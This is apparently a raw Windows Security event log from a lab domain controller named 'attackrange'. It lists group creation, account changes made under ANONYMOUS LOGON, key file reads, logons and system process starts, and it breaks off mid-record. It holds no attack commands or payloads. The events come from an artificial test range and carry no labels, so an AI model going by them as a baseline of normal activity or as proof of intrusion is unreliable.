-Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: 0x105 - New UAC Value: 0x2100 - User Account Control: - Account Enabled - 'Password Not Required' - Disabled - 'Trusted For Delegation' - Enabled - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4722 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=248095 -Keywords=Audit Success -Message=A user account was enabled. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4741 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248094 -Keywords=Audit Success -Message=A computer account was created. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -New Computer Account: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Attributes: - SAM Account Name: WIN-DC-725$ - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: 516 - AllowedToDelegateTo: - - Old UAC Value: 0x0 - New UAC Value: 0x105 - User Account Control: - Account Disabled - 'Password Not Required' - Enabled - 'Server Trust Account' - Enabled - User Parameters: - SID History: - - Logon Hours: - DNS Host Name: - - Service Principal Names: - - -Additional Information: - Privileges - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248093 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Log Users - Group Name: Performance Log Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248092 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: BUILTIN\Performance Log Users - Group Name: Performance Log Users - Group Domain: Builtin - -Attributes: - SAM Account Name: Performance Log Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248091 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Monitor Users - Group Name: Performance Monitor Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248090 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: BUILTIN\Performance Monitor Users - Group Name: Performance Monitor Users - Group Domain: Builtin - -Attributes: - SAM Account Name: Performance Monitor Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248089 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Network Configuration Operators - Group Name: Network Configuration Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248088 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: BUILTIN\Network Configuration Operators - Group Name: Network Configuration Operators - Group Domain: Builtin - -Attributes: - SAM Account Name: Network Configuration Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248087 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Remote Desktop Users - Group Name: Remote Desktop Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248086 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: BUILTIN\Remote Desktop Users - Group Name: Remote Desktop Users - Group Domain: Builtin - -Attributes: - SAM Account Name: Remote Desktop Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248085 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Print Operators - Group Name: Print Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248084 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: BUILTIN\Print Operators - Group Name: Print Operators - Group Domain: Builtin - -Attributes: - SAM Account Name: Print Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248221 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x964 - New Process Name: C:\Windows\System32\CompatTelRunner.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\compattelrunner.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248220 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x94c - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe TpmTasks - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248219 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x920 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=248218 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=System Integrity -OpCode=Info -RecordNumber=248217 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=248216 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=System Integrity -OpCode=Info -RecordNumber=248215 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=248214 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248213 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x478 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248212 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x478 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\System32\RemoteFXvGPUDisablement.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\RemoteFXvGPUDisablement.exe Disable - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=248210 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248209 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x6b8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248208 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x630 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248207 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xAC45 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\System32\dwm.exe - Token Elevation Type: %%1938 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x320 - Creator Process Name: C:\Windows\System32\winlogon.exe - Process Command Line: "dwm.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248206 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xAC14 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248205 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xAC45 - Linked Logon ID: 0xAC14 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x320 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248204 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xAC14 - Linked Logon ID: 0xAC45 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x320 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248203 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x320 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248202 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k NetworkService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and 